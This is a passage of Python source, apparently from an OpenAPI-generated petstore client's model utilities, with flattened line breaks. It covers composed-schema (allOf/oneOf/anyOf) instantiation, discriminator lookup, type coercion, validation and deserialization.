self._composed_schemas['allOf']: # no need to handle changing js keys to python because # for composed schemas, allof parameters are included in the # composed schema and were changed to python keys in __new__ # extract a dict of only required keys from fixed_model_args kwargs = {} var_names = set(allof_class.openapi_types.keys()) for var_name in var_names: if var_name in model_args: kwargs[var_name] = model_args[var_name] # and use it to make the instance kwargs.update(constant_args) try: allof_instance = allof_class(**kwargs) composed_instances.append(allof_instance) except Exception as ex: raise ApiValueError( "Invalid inputs given to generate an instance of '%s'. The " "input data was invalid for the allOf schema '%s' in the composed " "schema '%s'. Error=%s" % ( allof_class.__name__, allof_class.__name__, self.__class__.__name__, str(ex) ) ) from ex return composed_instances def get_oneof_instance(cls, model_kwargs, constant_kwargs, model_arg=None): """ Find the oneOf schema that matches the input data (e.g. payload). If exactly one schema matches the input data, an instance of that schema is returned. If zero or more than one schema match the input data, an exception is raised. In OAS 3.x, the payload MUST, by validation, match exactly one of the schemas described by oneOf. Args: cls: the class we are handling model_kwargs (dict): var_name to var_value The input data, e.g. the payload that must match a oneOf schema in the OpenAPI document. constant_kwargs (dict): var_name to var_value args that every model requires, including configuration, server and path to item. Kwargs: model_arg: (int, float, bool, str, date, datetime, ModelSimple, None): the value to assign to a primitive class or ModelSimple class Notes: - this is only passed in when oneOf includes types which are not object - None is used to suppress handling of model_arg, nullable models are handled in __new__ Returns oneof_instance (instance) """ if len(cls._composed_schemas['oneOf']) == 0: return None oneof_instances = [] # Iterate over each oneOf schema and determine if the input data # matches the oneOf schemas. for oneof_class in cls._composed_schemas['oneOf']: # The composed oneOf schema allows the 'null' type and the input data # is the null value. This is a OAS >= 3.1 feature. if oneof_class is none_type: # skip none_types because we are deserializing dict data. # none_type deserialization is handled in the __new__ method continue single_value_input = allows_single_value_input(oneof_class) if not single_value_input: # transform js keys from input data to python keys in fixed_model_args fixed_model_args = change_keys_js_to_python( model_kwargs, oneof_class) # Extract a dict with the properties that are declared in the oneOf schema. # Undeclared properties (e.g. properties that are allowed because of the # additionalProperties attribute in the OAS document) are not added to # the dict. kwargs = {} var_names = set(oneof_class.openapi_types.keys()) for var_name in var_names: if var_name in fixed_model_args: kwargs[var_name] = fixed_model_args[var_name] # do not try to make a model with no input args if len(kwargs) == 0: continue # and use it to make the instance kwargs.update(constant_kwargs) try: if not single_value_input: oneof_instance = oneof_class(**kwargs) else: if issubclass(oneof_class, ModelSimple): oneof_instance = oneof_class(model_arg, **constant_kwargs) elif oneof_class in PRIMITIVE_TYPES: oneof_instance = validate_and_convert_types( model_arg, (oneof_class,), constant_kwargs['_path_to_item'], constant_kwargs['_spec_property_naming'], constant_kwargs['_check_type'], configuration=constant_kwargs['_configuration'] ) oneof_instances.append(oneof_instance) except Exception: pass if len(oneof_instances) == 0: raise ApiValueError( "Invalid inputs given to generate an instance of %s. None " "of the oneOf schemas matched the input data." % cls.__name__ ) elif len(oneof_instances) > 1: raise ApiValueError( "Invalid inputs given to generate an instance of %s. Multiple " "oneOf schemas matched the inputs, but a max of one is allowed." % cls.__name__ ) return oneof_instances[0] def get_anyof_instances(self, model_args, constant_args): """ Args: self: the class we are handling model_args (dict): var_name to var_value The input data, e.g. the payload that must match at least one anyOf child schema in the OpenAPI document. constant_args (dict): var_name to var_value args that every model requires, including configuration, server and path to item. Returns anyof_instances (list) """ anyof_instances = [] if len(self._composed_schemas['anyOf']) == 0: return anyof_instances for anyof_class in self._composed_schemas['anyOf']: # The composed oneOf schema allows the 'null' type and the input data # is the null value. This is a OAS >= 3.1 feature. if anyof_class is none_type: # skip none_types because we are deserializing dict data. # none_type deserialization is handled in the __new__ method continue # transform js keys to python keys in fixed_model_args fixed_model_args = change_keys_js_to_python(model_args, anyof_class) # extract a dict of only required keys from these_model_vars kwargs = {} var_names = set(anyof_class.openapi_types.keys()) for var_name in var_names: if var_name in fixed_model_args: kwargs[var_name] = fixed_model_args[var_name] # do not try to make a model with no input args if len(kwargs) == 0: continue # and use it to make the instance kwargs.update(constant_args) try: anyof_instance = anyof_class(**kwargs) anyof_instances.append(anyof_instance) except Exception: pass if len(anyof_instances) == 0: raise ApiValueError( "Invalid inputs given to generate an instance of %s. None of the " "anyOf schemas matched the inputs." % self.__class__.__name__ ) return anyof_instances def get_additional_properties_model_instances( composed_instances, self): additional_properties_model_instances = [] all_instances = [self] all_instances.extend(composed_instances) for instance in all_instances: if instance.additional_properties_type is not None: additional_properties_model_instances.append(instance) return additional_properties_model_instances def get_var_name_to_model_instances(self, composed_instances): var_name_to_model_instances = {} all_instances = [self] all_instances.extend(composed_instances) for instance in all_instances: for var_name in instance.openapi_types: if var_name not in var_name_to_model_instances: var_name_to_model_instances[var_name] = [instance] else: var_name_to_model_instances[var_name].append(instance) return var_name_to_model_instances def get_unused_args(self, composed_instances, model_args): unused_args = dict(model_args) # arguments apssed to self were already converted to python names # before __init__ was called for var_name_py in self.attribute_map: if var_name_py in unused_args: del unused_args[var_name_py] for instance in composed_instances: if instance.__class__ in self._composed_schemas['allOf']: for var_name_py in instance.attribute_map: if var_name_py in unused_args: del unused_args[var_name_py] else: for var_name_js in instance.attribute_map.values(): if var_name_js in unused_args: del unused_args[var_name_js] return unused_args def validate_get_composed_info(constant_args, model_args, self): """ For composed schemas, generate schema instances for all schemas in the oneOf/anyOf/allOf definition. If additional properties are allowed, also assign those properties on all matched schemas that contain additionalProperties. Openapi schemas are python classes. Exceptions are raised if: - 0 or > 1 oneOf schema matches the model_args input data - no anyOf schema matches the model_args input data - any of the allOf schemas do not match the model_args input data Args: constant_args (dict): these are the args that every model requires model_args (dict): these are the required and optional spec args that were passed in to make this model self (class): the class that we are instantiating This class contains self._composed_schemas Returns: composed_info (list): length three composed_instances (list): the composed instances which are not self var_name_to_model_instances (dict): a dict going from var_name to the model_instance which holds that var_name the model_instance may be self or an instance of one of the classes in self.composed_instances() additional_properties_model_instances (list): a list of the model instances which have the property additional_properties_type. This list can include self """ # create composed_instances composed_instances = [] allof_instances = get_allof_instances(self, model_args, constant_args) composed_instances.extend(allof_instances) oneof_instance = get_oneof_instance(self.__class__, model_args, constant_args) if oneof_instance is not None: composed_instances.append(oneof_instance) anyof_instances = get_anyof_instances(self, model_args, constant_args) composed_instances.extend(anyof_instances) # map variable names to composed_instances var_name_to_model_instances = get_var_name_to_model_instances( self, composed_instances) # set additional_properties_model_instances additional_properties_model_instances = ( get_additional_properties_model_instances(composed_instances, self) ) # set any remaining values unused_args = get_unused_args(self, composed_instances, model_args) if len(unused_args) > 0 and \ len(additional_properties_model_instances) == 0 and \ (self._configuration is None or not self._configuration.discard_unknown_keys): raise ApiValueError( "Invalid input arguments input when making an instance of " "class %s. Not all inputs were used. The unused input data " "is %s" % (self.__class__.__name__, unused_args) ) # no need to add additional_properties to var_name_to_model_instances here # because additional_properties_model_instances will direct us to that # instance when we use getattr or setattr # and we update var_name_to_model_instances in setattr return [ composed_instances, var_name_to_model_instances, additional_properties_model_instances, unused_args ]

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from datetime import date, datetime import inspect import io import os import pprint import re import tempfile from dateutil.parser import parse from petstore_api.exceptions import ( ApiKeyError, ApiAttributeError, ApiTypeError, ApiValueError, ) none_type = type(None) file_type = io.IOBase class cached_property(object): result_key = '_results' def __init__(self, fn): self._fn = fn def __get__(self, instance, cls=None): if self.result_key in vars(self): return vars(self)[self.result_key] else: result = self._fn() setattr(self, self.result_key, result) return result PRIMITIVE_TYPES = (list, float, int, bool, datetime, date, str, file_type) def allows_single_value_input(cls): if ( issubclass(cls, ModelSimple) or cls in PRIMITIVE_TYPES ): return True elif issubclass(cls, ModelComposed): if not cls._composed_schemas['oneOf']: return False return any(allows_single_value_input(c) for c in cls._composed_schemas['oneOf']) return False def composed_model_input_classes(cls): if issubclass(cls, ModelSimple) or cls in PRIMITIVE_TYPES: return [cls] elif issubclass(cls, ModelNormal): if cls.discriminator is None: return [cls] else: return get_discriminated_classes(cls) elif issubclass(cls, ModelComposed): if not cls._composed_schemas['oneOf']: return [] if cls.discriminator is None: input_classes = [] for c in cls._composed_schemas['oneOf']: input_classes.extend(composed_model_input_classes(c)) return input_classes else: return get_discriminated_classes(cls) return [] class OpenApiModel(object): def set_attribute(self, name, value): path_to_item = [] if self._path_to_item: path_to_item.extend(self._path_to_item) path_to_item.append(name) if name in self.openapi_types: required_types_mixed = self.openapi_types[name] elif self.additional_properties_type is None: raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), path_to_item ) elif self.additional_properties_type is not None: required_types_mixed = self.additional_properties_type if get_simple_class(name) != str: error_msg = type_error_message( var_name=name, var_value=name, valid_classes=(str,), key_type=True ) raise ApiTypeError( error_msg, path_to_item=path_to_item, valid_classes=(str,), key_type=True ) if self._check_type: value = validate_and_convert_types( value, required_types_mixed, path_to_item, self._spec_property_naming, self._check_type, configuration=self._configuration) if (name,) in self.allowed_values: check_allowed_values( self.allowed_values, (name,), value ) if (name,) in self.validations: check_validations( self.validations, (name,), value, self._configuration ) self.__dict__['_data_store'][name] = value def __repr__(self): return self.to_str() def __ne__(self, other): return not self == other def __setattr__(self, attr, value): self[attr] = value def __getattr__(self, attr): return self.__getitem__(attr) def __new__(cls, *args, **kwargs): if len(args) == 1: arg = args[0] if arg is None and is_type_nullable(cls): return None if issubclass(cls, ModelComposed) and allows_single_value_input(cls): model_kwargs = {} oneof_instance = get_oneof_instance(cls, model_kwargs, kwargs, model_arg=arg) return oneof_instance visited_composed_classes = kwargs.get('_visited_composed_classes', ()) if ( cls.discriminator is None or cls in visited_composed_classes ): # petType and we pass in "Dog", and the class Dog # allOf includes Animal, we move through Animal # once using the discriminator, and pick Dog. # Then in the composed schema dog Dog, we will make an instance of the # Animal class (because Dal has allOf: Animal) but this time we won't travel # _visited_composed_classes = (Animal,) return super(OpenApiModel, cls).__new__(cls) # Get the name and value of the discriminator property. # The discriminator name is obtained from the discriminator meta-data # and the discriminator value is obtained from the input data. discr_propertyname_py = list(cls.discriminator.keys())[0] discr_propertyname_js = cls.attribute_map[discr_propertyname_py] if discr_propertyname_js in kwargs: discr_value = kwargs[discr_propertyname_js] elif discr_propertyname_py in kwargs: discr_value = kwargs[discr_propertyname_py] else: # The input data does not contain the discriminator property. path_to_item = kwargs.get('_path_to_item', ()) raise ApiValueError( "Cannot deserialize input data due to missing discriminator. " "The discriminator property '%s' is missing at path: %s" % (discr_propertyname_js, path_to_item) ) # Implementation note: the last argument to get_discriminator_class # is a list of visited classes. get_discriminator_class may recursively # call itself and update the list of visited classes, and the initial # value must be an empty list. Hence not using 'visited_composed_classes' new_cls = get_discriminator_class( cls, discr_propertyname_py, discr_value, []) if new_cls is None: path_to_item = kwargs.get('_path_to_item', ()) disc_prop_value = kwargs.get( discr_propertyname_js, kwargs.get(discr_propertyname_py)) raise ApiValueError( "Cannot deserialize input data due to invalid discriminator " "value. The OpenAPI document has no mapping for discriminator " "property '%s'='%s' at path: %s" % (discr_propertyname_js, disc_prop_value, path_to_item) ) if new_cls in visited_composed_classes: # if we are making an instance of a composed schema Descendent # which allOf includes Ancestor, then Ancestor contains # a discriminator that includes Descendent. # So if we make an instance of Descendent, we have to make an # instance of Ancestor to hold the allOf properties. # This code detects that use case and makes the instance of Ancestor # For example: # When making an instance of Dog, _visited_composed_classes = (Dog,) # then we make an instance of Animal to include in dog._composed_instances # so when we are here, cls is Animal # cls.discriminator != None # cls not in _visited_composed_classes # new_cls = Dog # but we know we know that we already have Dog # because it is in visited_composed_classes # so make Animal here return super(OpenApiModel, cls).__new__(cls) # Build a list containing all oneOf and anyOf descendants. oneof_anyof_classes = None if cls._composed_schemas is not None: oneof_anyof_classes = ( cls._composed_schemas.get('oneOf', ()) + cls._composed_schemas.get('anyOf', ())) oneof_anyof_child = new_cls in oneof_anyof_classes kwargs['_visited_composed_classes'] = visited_composed_classes + (cls,) if cls._composed_schemas.get('allOf') and oneof_anyof_child: # Validate that we can make self because when we make the # new_cls it will not include the allOf validations in self self_inst = super(OpenApiModel, cls).__new__(cls) self_inst.__init__(*args, **kwargs) new_inst = new_cls.__new__(new_cls, *args, **kwargs) new_inst.__init__(*args, **kwargs) return new_inst class ModelSimple(OpenApiModel): def __setitem__(self, name, value): if name in self.required_properties: self.__dict__[name] = value return self.set_attribute(name, value) def get(self, name, default=None): if name in self.required_properties: return self.__dict__[name] return self.__dict__['_data_store'].get(name, default) def __getitem__(self, name): if name in self: return self.get(name) raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) def __contains__(self, name): if name in self.required_properties: return name in self.__dict__ return name in self.__dict__['_data_store'] def to_str(self): return str(self.value) def __eq__(self, other): if not isinstance(other, self.__class__): return False this_val = self._data_store['value'] that_val = other._data_store['value'] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val return vals_equal class ModelNormal(OpenApiModel): def __setitem__(self, name, value): if name in self.required_properties: self.__dict__[name] = value return self.set_attribute(name, value) def get(self, name, default=None): if name in self.required_properties: return self.__dict__[name] return self.__dict__['_data_store'].get(name, default) def __getitem__(self, name): if name in self: return self.get(name) raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) def __contains__(self, name): if name in self.required_properties: return name in self.__dict__ return name in self.__dict__['_data_store'] def to_dict(self): return model_to_dict(self, serialize=False) def to_str(self): return pprint.pformat(self.to_dict()) def __eq__(self, other): if not isinstance(other, self.__class__): return False if not set(self._data_store.keys()) == set(other._data_store.keys()): return False for _var_name, this_val in self._data_store.items(): that_val = other._data_store[_var_name] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val if not vals_equal: return False return True class ModelComposed(OpenApiModel): def __setitem__(self, name, value): if name in self.required_properties: self.__dict__[name] = value return # set the attribute on the correct instance model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) if model_instances: for model_instance in model_instances: if model_instance == self: self.set_attribute(name, value) else: setattr(model_instance, name, value) if name not in self._var_name_to_model_instances: # we assigned an additional property self.__dict__['_var_name_to_model_instances'][name] = ( model_instance ) return None raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) __unset_attribute_value__ = object() def get(self, name, default=None): if name in self.required_properties: return self.__dict__[name] # get the attribute from the correct instance model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) values = [] # A composed model stores child (oneof/anyOf/allOf) models under # self._var_name_to_model_instances. A named property can exist in # multiple child models. If the property is present in more than one # child model, the value must be the same across all the child models. if model_instances: for model_instance in model_instances: if name in model_instance._data_store: v = model_instance._data_store[name] if v not in values: values.append(v) len_values = len(values) if len_values == 0: return default elif len_values == 1: return values[0] elif len_values > 1: raise ApiValueError( "Values stored for property {0} in {1} differ when looking " "at self and self's composed instances. All values must be " "the same".format(name, type(self).__name__), [e for e in [self._path_to_item, name] if e] ) def __getitem__(self, name): value = self.get(name, self.__unset_attribute_value__) if value is self.__unset_attribute_value__: raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) return value def __contains__(self, name): if name in self.required_properties: return name in self.__dict__ model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) if model_instances: for model_instance in model_instances: if name in model_instance._data_store: return True return False def to_dict(self): return model_to_dict(self, serialize=False) def to_str(self): return pprint.pformat(self.to_dict()) def __eq__(self, other): if not isinstance(other, self.__class__): return False if not set(self._data_store.keys()) == set(other._data_store.keys()): return False for _var_name, this_val in self._data_store.items(): that_val = other._data_store[_var_name] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val if not vals_equal: return False return True COERCION_INDEX_BY_TYPE = { ModelComposed: 0, ModelNormal: 1, ModelSimple: 2, none_type: 3, list: 4, dict: 5, float: 6, int: 7, bool: 8, datetime: 9, date: 10, str: 11, file_type: 12, } UPCONVERSION_TYPE_PAIRS = ( (str, datetime), (str, date), (int, float), (list, ModelComposed), (dict, ModelComposed), (str, ModelComposed), (int, ModelComposed), (float, ModelComposed), (list, ModelComposed), (list, ModelNormal), (dict, ModelNormal), (str, ModelSimple), (int, ModelSimple), (float, ModelSimple), (list, ModelSimple), ) COERCIBLE_TYPE_PAIRS = { False: ( ), True: ( (dict, ModelComposed), (list, ModelComposed), (dict, ModelNormal), (list, ModelNormal), (str, ModelSimple), (int, ModelSimple), (float, ModelSimple), (list, ModelSimple), (str, datetime), (str, date), (str, file_type) ), } def get_simple_class(input_value): if isinstance(input_value, type): return input_value elif isinstance(input_value, tuple): return tuple elif isinstance(input_value, list): return list elif isinstance(input_value, dict): return dict elif isinstance(input_value, none_type): return none_type elif isinstance(input_value, file_type): return file_type elif isinstance(input_value, bool): return bool elif isinstance(input_value, int): return int elif isinstance(input_value, datetime): return datetime elif isinstance(input_value, date): return date elif isinstance(input_value, str): return str return type(input_value) def check_allowed_values(allowed_values, input_variable_path, input_values): these_allowed_values = list(allowed_values[input_variable_path].values()) if (isinstance(input_values, list) and not set(input_values).issubset( set(these_allowed_values))): invalid_values = ", ".join( map(str, set(input_values) - set(these_allowed_values))), raise ApiValueError( "Invalid values for `%s` [%s], must be a subset of [%s]" % ( input_variable_path[0], invalid_values, ", ".join(map(str, these_allowed_values)) ) ) elif (isinstance(input_values, dict) and not set( input_values.keys()).issubset(set(these_allowed_values))): invalid_values = ", ".join( map(str, set(input_values.keys()) - set(these_allowed_values))) raise ApiValueError( "Invalid keys in `%s` [%s], must be a subset of [%s]" % ( input_variable_path[0], invalid_values, ", ".join(map(str, these_allowed_values)) ) ) elif (not isinstance(input_values, (list, dict)) and input_values not in these_allowed_values): raise ApiValueError( "Invalid value for `%s` (%s), must be one of %s" % ( input_variable_path[0], input_values, these_allowed_values ) ) def is_json_validation_enabled(schema_keyword, configuration=None): return (configuration is None or not hasattr(configuration, '_disabled_client_side_validations') or schema_keyword not in configuration._disabled_client_side_validations) def check_validations( validations, input_variable_path, input_values, configuration=None): if input_values is None: return current_validations = validations[input_variable_path] if (is_json_validation_enabled('multipleOf', configuration) and 'multiple_of' in current_validations and isinstance(input_values, (int, float)) and not (float(input_values) / current_validations['multiple_of']).is_integer()): raise ApiValueError( "Invalid value for `%s`, value must be a multiple of " "`%s`" % ( input_variable_path[0], current_validations['multiple_of'] ) ) if (is_json_validation_enabled('maxLength', configuration) and 'max_length' in current_validations and len(input_values) > current_validations['max_length']): raise ApiValueError( "Invalid value for `%s`, length must be less than or equal to " "`%s`" % ( input_variable_path[0], current_validations['max_length'] ) ) if (is_json_validation_enabled('minLength', configuration) and 'min_length' in current_validations and len(input_values) < current_validations['min_length']): raise ApiValueError( "Invalid value for `%s`, length must be greater than or equal to " "`%s`" % ( input_variable_path[0], current_validations['min_length'] ) ) if (is_json_validation_enabled('maxItems', configuration) and 'max_items' in current_validations and len(input_values) > current_validations['max_items']): raise ApiValueError( "Invalid value for `%s`, number of items must be less than or " "equal to `%s`" % ( input_variable_path[0], current_validations['max_items'] ) ) if (is_json_validation_enabled('minItems', configuration) and 'min_items' in current_validations and len(input_values) < current_validations['min_items']): raise ValueError( "Invalid value for `%s`, number of items must be greater than or " "equal to `%s`" % ( input_variable_path[0], current_validations['min_items'] ) ) items = ('exclusive_maximum', 'inclusive_maximum', 'exclusive_minimum', 'inclusive_minimum') if (any(item in current_validations for item in items)): if isinstance(input_values, list): max_val = max(input_values) min_val = min(input_values) elif isinstance(input_values, dict): max_val = max(input_values.values()) min_val = min(input_values.values()) else: max_val = input_values min_val = input_values if (is_json_validation_enabled('exclusiveMaximum', configuration) and 'exclusive_maximum' in current_validations and max_val >= current_validations['exclusive_maximum']): raise ApiValueError( "Invalid value for `%s`, must be a value less than `%s`" % ( input_variable_path[0], current_validations['exclusive_maximum'] ) ) if (is_json_validation_enabled('maximum', configuration) and 'inclusive_maximum' in current_validations and max_val > current_validations['inclusive_maximum']): raise ApiValueError( "Invalid value for `%s`, must be a value less than or equal to " "`%s`" % ( input_variable_path[0], current_validations['inclusive_maximum'] ) ) if (is_json_validation_enabled('exclusiveMinimum', configuration) and 'exclusive_minimum' in current_validations and min_val <= current_validations['exclusive_minimum']): raise ApiValueError( "Invalid value for `%s`, must be a value greater than `%s`" % ( input_variable_path[0], current_validations['exclusive_maximum'] ) ) if (is_json_validation_enabled('minimum', configuration) and 'inclusive_minimum' in current_validations and min_val < current_validations['inclusive_minimum']): raise ApiValueError( "Invalid value for `%s`, must be a value greater than or equal " "to `%s`" % ( input_variable_path[0], current_validations['inclusive_minimum'] ) ) flags = current_validations.get('regex', {}).get('flags', 0) if (is_json_validation_enabled('pattern', configuration) and 'regex' in current_validations and not re.search(current_validations['regex']['pattern'], input_values, flags=flags)): err_msg = r"Invalid value for `%s`, must match regular expression `%s`" % ( input_variable_path[0], current_validations['regex']['pattern'] ) if flags != 0: # specified in the OAS document. err_msg = r"%s with flags=`%s`" % (err_msg, flags) raise ApiValueError(err_msg) def order_response_types(required_types): def index_getter(class_or_instance): if isinstance(class_or_instance, list): return COERCION_INDEX_BY_TYPE[list] elif isinstance(class_or_instance, dict): return COERCION_INDEX_BY_TYPE[dict] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelComposed)): return COERCION_INDEX_BY_TYPE[ModelComposed] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelNormal)): return COERCION_INDEX_BY_TYPE[ModelNormal] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelSimple)): return COERCION_INDEX_BY_TYPE[ModelSimple] elif class_or_instance in COERCION_INDEX_BY_TYPE: return COERCION_INDEX_BY_TYPE[class_or_instance] raise ApiValueError("Unsupported type: %s" % class_or_instance) sorted_types = sorted( required_types, key=lambda class_or_instance: index_getter(class_or_instance) ) return sorted_types def remove_uncoercible(required_types_classes, current_item, spec_property_naming, must_convert=True): current_type_simple = get_simple_class(current_item) results_classes = [] for required_type_class in required_types_classes: # convert our models to OpenApiModel required_type_class_simplified = required_type_class if isinstance(required_type_class_simplified, type): if issubclass(required_type_class_simplified, ModelComposed): required_type_class_simplified = ModelComposed elif issubclass(required_type_class_simplified, ModelNormal): required_type_class_simplified = ModelNormal elif issubclass(required_type_class_simplified, ModelSimple): required_type_class_simplified = ModelSimple if required_type_class_simplified == current_type_simple: # don't consider converting to one's own class continue class_pair = (current_type_simple, required_type_class_simplified) if must_convert and class_pair in COERCIBLE_TYPE_PAIRS[spec_property_naming]: results_classes.append(required_type_class) elif class_pair in UPCONVERSION_TYPE_PAIRS: results_classes.append(required_type_class) return results_classes def get_discriminated_classes(cls): possible_classes = [] key = list(cls.discriminator.keys())[0] if is_type_nullable(cls): possible_classes.append(cls) for discr_cls in cls.discriminator[key].values(): if hasattr(discr_cls, 'discriminator') and discr_cls.discriminator is not None: possible_classes.extend(get_discriminated_classes(discr_cls)) else: possible_classes.append(discr_cls) return possible_classes def get_possible_classes(cls, from_server_context): # TODO: lru_cache this possible_classes = [cls] if from_server_context: return possible_classes if hasattr(cls, 'discriminator') and cls.discriminator is not None: possible_classes = [] possible_classes.extend(get_discriminated_classes(cls)) elif issubclass(cls, ModelComposed): possible_classes.extend(composed_model_input_classes(cls)) return possible_classes def get_required_type_classes(required_types_mixed, spec_property_naming): valid_classes = [] child_req_types_by_current_type = {} for required_type in required_types_mixed: if isinstance(required_type, list): valid_classes.append(list) child_req_types_by_current_type[list] = required_type elif isinstance(required_type, tuple): valid_classes.append(tuple) child_req_types_by_current_type[tuple] = required_type elif isinstance(required_type, dict): valid_classes.append(dict) child_req_types_by_current_type[dict] = required_type[str] else: valid_classes.extend(get_possible_classes(required_type, spec_property_naming)) return tuple(valid_classes), child_req_types_by_current_type def change_keys_js_to_python(input_dict, model_class): if getattr(model_class, 'attribute_map', None) is None: return input_dict output_dict = {} reversed_attr_map = {value: key for key, value in model_class.attribute_map.items()} for javascript_key, value in input_dict.items(): python_key = reversed_attr_map.get(javascript_key) if python_key is None: # if the key is unknown, it is in error or it is an # additionalProperties variable python_key = javascript_key output_dict[python_key] = value return output_dict def get_type_error(var_value, path_to_item, valid_classes, key_type=False): error_msg = type_error_message( var_name=path_to_item[-1], var_value=var_value, valid_classes=valid_classes, key_type=key_type ) return ApiTypeError( error_msg, path_to_item=path_to_item, valid_classes=valid_classes, key_type=key_type ) def deserialize_primitive(data, klass, path_to_item): additional_message = "" try: if klass in {datetime, date}: additional_message = ( "If you need your parameter to have a fallback " "string value, please set its type as `type: {}` in your " "spec. That allows the value to be any type. " ) if klass == datetime: if len(data) < 8: raise ValueError("This is not a datetime") # The string should be in iso8601 datetime format. parsed_datetime = parse(data) date_only = ( parsed_datetime.hour == 0 and parsed_datetime.minute == 0 and parsed_datetime.second == 0 and parsed_datetime.tzinfo is None and 8 <= len(data) <= 10 ) if date_only: raise ValueError("This is a date, not a datetime") return parsed_datetime elif klass == date: if len(data) < 8: raise ValueError("This is not a date") return parse(data).date() else: converted_value = klass(data) if isinstance(data, str) and klass == float: if str(converted_value) != data: # '7' -> 7.0 -> '7.0' != '7' raise ValueError('This is not a float') return converted_value except (OverflowError, ValueError) as ex: # parse can raise OverflowError raise ApiValueError( "{0}Failed to parse {1} as {2}".format( additional_message, repr(data), klass.__name__ ), path_to_item=path_to_item ) from ex def get_discriminator_class(model_class, discr_name, discr_value, cls_visited): if model_class in cls_visited: # The class has already been visited and no suitable class was found. return None cls_visited.append(model_class) used_model_class = None if discr_name in model_class.discriminator: class_name_to_discr_class = model_class.discriminator[discr_name] used_model_class = class_name_to_discr_class.get(discr_value) if used_model_class is None: # We didn't find a discriminated class in class_name_to_discr_class. descendant_classes = model_class._composed_schemas.get('oneOf', ()) + \ model_class._composed_schemas.get('anyOf', ()) ancestor_classes = model_class._composed_schemas.get('allOf', ()) possible_classes = descendant_classes + ancestor_classes for cls in possible_classes: if hasattr(cls, 'discriminator') and cls.discriminator is not None: used_model_class = get_discriminator_class( cls, discr_name, discr_value, cls_visited) if used_model_class is not None: return used_model_class return used_model_class def deserialize_model(model_data, model_class, path_to_item, check_type, configuration, spec_property_naming): kw_args = dict(_check_type=check_type, _path_to_item=path_to_item, _configuration=configuration, _spec_property_naming=spec_property_naming) if issubclass(model_class, ModelSimple): return model_class(model_data, **kw_args) elif isinstance(model_data, list): return model_class(*model_data, **kw_args) if isinstance(model_data, dict): kw_args.update(model_data) return model_class(**kw_args) elif isinstance(model_data, PRIMITIVE_TYPES): return model_class(model_data, **kw_args) def deserialize_file(response_data, configuration, content_disposition=None): fd, path = tempfile.mkstemp(dir=configuration.temp_folder_path) os.close(fd) os.remove(path) if content_disposition: filename = re.search(r'filename=[\'"]?([^\'"\s]+)[\'"]?', content_disposition).group(1) path = os.path.join(os.path.dirname(path), filename) with open(path, "wb") as f: if isinstance(response_data, str): # change str to bytes so we can write it response_data = response_data.encode('utf-8') f.write(response_data) f = open(path, "rb") return f def attempt_convert_item(input_value, valid_classes, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=False, check_type=True): valid_classes_ordered = order_response_types(valid_classes) valid_classes_coercible = remove_uncoercible( valid_classes_ordered, input_value, spec_property_naming) if not valid_classes_coercible or key_type: # we do not handle keytype errors, json will take care # of this for us if configuration is None or not configuration.discard_unknown_keys: raise get_type_error(input_value, path_to_item, valid_classes, key_type=key_type) for valid_class in valid_classes_coercible: try: if issubclass(valid_class, OpenApiModel): return deserialize_model(input_value, valid_class, path_to_item, check_type, configuration, spec_property_naming) elif valid_class == file_type: return deserialize_file(input_value, configuration) return deserialize_primitive(input_value, valid_class, path_to_item) except (ApiTypeError, ApiValueError, ApiKeyError) as conversion_exc: if must_convert: raise conversion_exc # if we have conversion errors when must_convert == False # we ignore the exception and move on to the next class continue # we were unable to convert, must_convert == False return input_value def is_type_nullable(input_type): if input_type is none_type: return True if issubclass(input_type, OpenApiModel) and input_type._nullable: return True if issubclass(input_type, ModelComposed): # If oneOf/anyOf, check if the 'null' type is one of the allowed types. for t in input_type._composed_schemas.get('oneOf', ()): if is_type_nullable(t): return True for t in input_type._composed_schemas.get('anyOf', ()): if is_type_nullable(t): return True return False def is_valid_type(input_class_simple, valid_classes): valid_type = input_class_simple in valid_classes if not valid_type and ( issubclass(input_class_simple, OpenApiModel) or input_class_simple is none_type): for valid_class in valid_classes: if input_class_simple is none_type and is_type_nullable(valid_class): # Schema is oneOf/anyOf and the 'null' type is one of the allowed types. return True if not (issubclass(valid_class, OpenApiModel) and valid_class.discriminator): continue discr_propertyname_py = list(valid_class.discriminator.keys())[0] discriminator_classes = ( valid_class.discriminator[discr_propertyname_py].values() ) valid_type = is_valid_type(input_class_simple, discriminator_classes) if valid_type: return True return valid_type def validate_and_convert_types(input_value, required_types_mixed, path_to_item, spec_property_naming, _check_type, configuration=None): results = get_required_type_classes(required_types_mixed, spec_property_naming) valid_classes, child_req_types_by_current_type = results input_class_simple = get_simple_class(input_value) valid_type = is_valid_type(input_class_simple, valid_classes) if not valid_type: if configuration: # if input_value is not valid_type try to convert it converted_instance = attempt_convert_item( input_value, valid_classes, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=True, check_type=_check_type ) return converted_instance else: raise get_type_error(input_value, path_to_item, valid_classes, key_type=False) # input_value's type is in valid_classes if len(valid_classes) > 1 and configuration: # there are valid classes which are not the current class valid_classes_coercible = remove_uncoercible( valid_classes, input_value, spec_property_naming, must_convert=False) if valid_classes_coercible: converted_instance = attempt_convert_item( input_value, valid_classes_coercible, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=False, check_type=_check_type ) return converted_instance if child_req_types_by_current_type == {}: # all types are of the required types and there are no more inner # variables left to look at return input_value inner_required_types = child_req_types_by_current_type.get( type(input_value) ) if inner_required_types is None: # for this type, there are not more inner variables left to look at return input_value if isinstance(input_value, list): if input_value == []: # allow an 